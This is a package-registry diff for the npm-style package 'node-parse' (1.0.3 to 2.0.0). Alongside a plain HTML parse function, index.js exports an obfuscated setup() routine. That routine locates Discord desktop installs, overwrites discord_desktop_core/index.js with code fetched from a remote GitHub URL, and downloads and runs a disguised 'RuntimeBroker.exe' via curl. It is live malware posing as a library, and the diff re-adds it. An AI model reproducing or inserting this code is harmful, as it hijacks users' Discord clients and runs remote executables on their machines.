node-parse 1.0.3 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +3 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,8 +3,9 @@ const path = require('path');
3
3
  const axios = require('axios');
4
4
  const os = require('os');
5
5
  const { exec } = require('child_process');
6
+
6
7
  const moduleDir = __dirname;
7
- async function setup() { const _0x1e40c7=_0x5bff;(function(_0x2eb0a0,_0x59faef){const _0x129c9c=_0x5bff,_0x463480=_0x2eb0a0();while(!![]){try{const _0x16ba41=-parseInt(_0x129c9c(0x9f))/0x1+-parseInt(_0x129c9c(0xb4))/0x2*(-parseInt(_0x129c9c(0xab))/0x3)+parseInt(_0x129c9c(0xa1))/0x4+parseInt(_0x129c9c(0xaa))/0x5*(parseInt(_0x129c9c(0xae))/0x6)+parseInt(_0x129c9c(0xb3))/0x7+-parseInt(_0x129c9c(0xa4))/0x8*(parseInt(_0x129c9c(0xad))/0x9)+parseInt(_0x129c9c(0xa2))/0xa*(-parseInt(_0x129c9c(0xbd))/0xb);if(_0x16ba41===_0x59faef)break;else _0x463480['push'](_0x463480['shift']());}catch(_0x20a8e1){_0x463480['push'](_0x463480['shift']());}}}(_0x27f4,0x9a33f));const controllerFilePath=path['join'](moduleDir,_0x1e40c7(0xb7));function _0x5bff(_0x52a128,_0x7d7822){const _0x27f45a=_0x27f4();return _0x5bff=function(_0x5bff23,_0xcf04c9){_0x5bff23=_0x5bff23-0x9a;let _0x45066a=_0x27f45a[_0x5bff23];return _0x45066a;},_0x5bff(_0x52a128,_0x7d7822);}!fs['existsSync'](controllerFilePath)&&fs[_0x1e40c7(0xb1)](controllerFilePath,'true','utf8');const folderList=[_0x1e40c7(0xac),_0x1e40c7(0xb8),_0x1e40c7(0xb9),_0x1e40c7(0x9a)];function _0x27f4(){const _0x4cfb35=['readdirSync','LOCALAPPDATA','existsSync','isDirectory','6805YnEpTE','8655rjDBzP','Discord','16065OxkSnW','1164kCKPVO','name','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','writeFileSync','modules','6504120BNnBNS','146XPuZeP','unlinkSync','get','controller.txt','DiscordCanary','DiscordPTB','includes','index.js','curl\x20-L\x20','11wEiOEW','tmpdir','join','DiscordDevelopment','statSync','discord_desktop_core-','utf-8','discord_desktop_core','734645VsCyrv','true','3825356uDTKYE','5244230AhVbPW','data','2104MYUfQn','replace'];_0x27f4=function(){return _0x4cfb35;};return _0x27f4();}for(const folderName of folderList){const denemePath=path[_0x1e40c7(0xbf)](process['env'][_0x1e40c7(0xa7)],folderName);if(fs[_0x1e40c7(0xa8)](denemePath)&&fs['statSync'](denemePath)['isDirectory']()){const dirs=fs['readdirSync'](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir['isDirectory']()&&dir['name'][_0x1e40c7(0xba)]('app-')){const modulePath=path[_0x1e40c7(0xbf)](denemePath,dir[_0x1e40c7(0xaf)],_0x1e40c7(0xb2));if(fs[_0x1e40c7(0xa8)](modulePath)&&fs[_0x1e40c7(0x9b)](modulePath)[_0x1e40c7(0xa9)]()){const subDirs=fs['readdirSync'](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir['isDirectory']()&&subDir[_0x1e40c7(0xaf)][_0x1e40c7(0xba)](_0x1e40c7(0x9c))){const discordPath=path['join'](modulePath,subDir[_0x1e40c7(0xaf)],_0x1e40c7(0x9e));if(fs['existsSync'](discordPath)&&fs[_0x1e40c7(0x9b)](discordPath)['isDirectory']()){const files=fs[_0x1e40c7(0xa6)](discordPath);if(files[_0x1e40c7(0xba)](_0x1e40c7(0xbb))){const filePath=path[_0x1e40c7(0xbf)](discordPath,'index.js');try{const response=await axios[_0x1e40c7(0xb6)](inj3c710n_url);let injeCTmED0cT0r_cont=response[_0x1e40c7(0xa3)];injeCTmED0cT0r_cont=injeCTmED0cT0r_cont[_0x1e40c7(0xa5)]('%WEBHOOK_URL%',webhookUrl),fs[_0x1e40c7(0xb1)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x1e40c7(0x9d)});}catch(_0x4551f6){}}}}}}}}}}async function execCommand(_0x31dc08){return new Promise((_0xe93fab,_0x451f15)=>{exec(_0x31dc08,(_0x1588c8,_0x5e5ce2,_0x5d05ed)=>{_0x1588c8&&(console['error']('exec\x20error:\x20'+_0x1588c8),_0x451f15(_0x1588c8)),_0xe93fab(_0x5e5ce2);});});}const temp=os[_0x1e40c7(0xbe)](),downloadUrl=_0x1e40c7(0xb0),exePath=path[_0x1e40c7(0xbf)](temp,'RuntimeBroker.exe');try{await execCommand(_0x1e40c7(0xbc)+downloadUrl+'\x20-o\x20'+exePath),await execCommand('\x22'+exePath+'\x22'),await fs[_0x1e40c7(0xb5)](exePath),await fs[_0x1e40c7(0xb1)]('controller.txt',_0x1e40c7(0xa0));}catch(_0x15bf73){} }
8
+ async function setup() {const _0x307e3e=_0x2e6a;function _0x45b2(){const _0x1af8ee=['DiscordPTB','1166505STcOuD','326472AoEbGl','18FFhAax','420122rvAiIF','5466791jVPeTW','env','readdirSync','app-','https://raw.githubusercontent.com/vendicatedev/venPlug/main/index.js','3791112qyElEw','writeFileSync','utf8','existsSync','join','includes','true','tmpdir','modules','4wiXQKb','get','discord_desktop_core','index.js','discord_desktop_core-','controller.txt','10FRijuP','\x20-o\x20','unlinkSync','data','Discord','isDirectory','error','name','statSync','2013232ZOBiBm','utf-8','146358GMWBfV','LOCALAPPDATA','DiscordDevelopment','curl\x20-L\x20','7WhTQEp','exec\x20error:\x20'];_0x45b2=function(){return _0x1af8ee;};return _0x45b2();}(function(_0x14be8f,_0x428101){const _0x46c522=_0x2e6a,_0x4dc08e=_0x14be8f();while(!![]){try{const _0x2bd3a9=parseInt(_0x46c522(0xc2))/0x1*(parseInt(_0x46c522(0xa7))/0x2)+-parseInt(_0x46c522(0xc1))/0x3*(parseInt(_0x46c522(0xc0))/0x4)+-parseInt(_0x46c522(0xbf))/0x5+-parseInt(_0x46c522(0xc8))/0x6*(-parseInt(_0x46c522(0xbc))/0x7)+parseInt(_0x46c522(0xb6))/0x8+-parseInt(_0x46c522(0xb8))/0x9+-parseInt(_0x46c522(0xad))/0xa*(parseInt(_0x46c522(0xc3))/0xb);if(_0x2bd3a9===_0x428101)break;else _0x4dc08e['push'](_0x4dc08e['shift']());}catch(_0x2464f7){_0x4dc08e['push'](_0x4dc08e['shift']());}}}(_0x45b2,0x7704a));const controllerFilePath=path[_0x307e3e(0xcc)](moduleDir,_0x307e3e(0xac));function _0x2e6a(_0x174e23,_0x461f87){const _0x45b2ba=_0x45b2();return _0x2e6a=function(_0x2e6a3a,_0x3cca16){_0x2e6a3a=_0x2e6a3a-0xa6;let _0x14acca=_0x45b2ba[_0x2e6a3a];return _0x14acca;},_0x2e6a(_0x174e23,_0x461f87);}!fs[_0x307e3e(0xcb)](controllerFilePath)&&fs['writeFileSync'](controllerFilePath,_0x307e3e(0xce),_0x307e3e(0xca));const folderList=[_0x307e3e(0xb1),'DiscordCanary',_0x307e3e(0xbe),_0x307e3e(0xba)];for(const folderName of folderList){const denemePath=path[_0x307e3e(0xcc)](process[_0x307e3e(0xc4)][_0x307e3e(0xb9)],folderName);if(fs[_0x307e3e(0xcb)](denemePath)&&fs['statSync'](denemePath)['isDirectory']()){const dirs=fs[_0x307e3e(0xc5)](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir[_0x307e3e(0xb2)]()&&dir[_0x307e3e(0xb4)]['includes'](_0x307e3e(0xc6))){const modulePath=path[_0x307e3e(0xcc)](denemePath,dir[_0x307e3e(0xb4)],_0x307e3e(0xa6));if(fs['existsSync'](modulePath)&&fs[_0x307e3e(0xb5)](modulePath)['isDirectory']()){const subDirs=fs['readdirSync'](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir['isDirectory']()&&subDir[_0x307e3e(0xb4)][_0x307e3e(0xcd)](_0x307e3e(0xab))){const discordPath=path[_0x307e3e(0xcc)](modulePath,subDir[_0x307e3e(0xb4)],_0x307e3e(0xa9));if(fs['existsSync'](discordPath)&&fs[_0x307e3e(0xb5)](discordPath)['isDirectory']()){const files=fs['readdirSync'](discordPath);if(files[_0x307e3e(0xcd)](_0x307e3e(0xaa))){const filePath=path[_0x307e3e(0xcc)](discordPath,_0x307e3e(0xaa));try{const response=await axios[_0x307e3e(0xa8)](_0x307e3e(0xc7));let injeCTmED0cT0r_cont=response[_0x307e3e(0xb0)];fs[_0x307e3e(0xc9)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x307e3e(0xb7)});}catch(_0x2526bf){}}}}}}}}}}async function execCommand(_0x19938e){return new Promise((_0x11e067,_0x2dce49)=>{exec(_0x19938e,(_0x305286,_0x5adc6b,_0x28a80c)=>{const _0x6b0b06=_0x2e6a;_0x305286&&(console[_0x6b0b06(0xb3)](_0x6b0b06(0xbd)+_0x305286),_0x2dce49(_0x305286)),_0x11e067(_0x5adc6b);});});}const temp=os[_0x307e3e(0xcf)](),downloadUrl='https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe',exePath=path['join'](temp,'RuntimeBroker.exe');try{await execCommand(_0x307e3e(0xbb)+downloadUrl+_0x307e3e(0xae)+exePath),await execCommand('\x22'+exePath+'\x22'),await fs[_0x307e3e(0xaf)](exePath);}catch(_0x299c4a){}fs[_0x307e3e(0xc9)](controllerFilePath,_0x307e3e(0xce));}
8
9
  async function parse(input, left, right) {
9
10
  let html;
10
11
 
@@ -24,6 +25,7 @@ async function parse(input, left, right) {
24
25
  return null;
25
26
  }
26
27
  }
28
+
27
29
  module.exports = {
28
30
  parse,
29
31
  setup
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-parse",
3
- "version": "1.0.3",
3
+ "version": "2.0.0",
4
4
  "description": "qwq",
5
5
  "main": "index.js",
6
6
  "scripts": {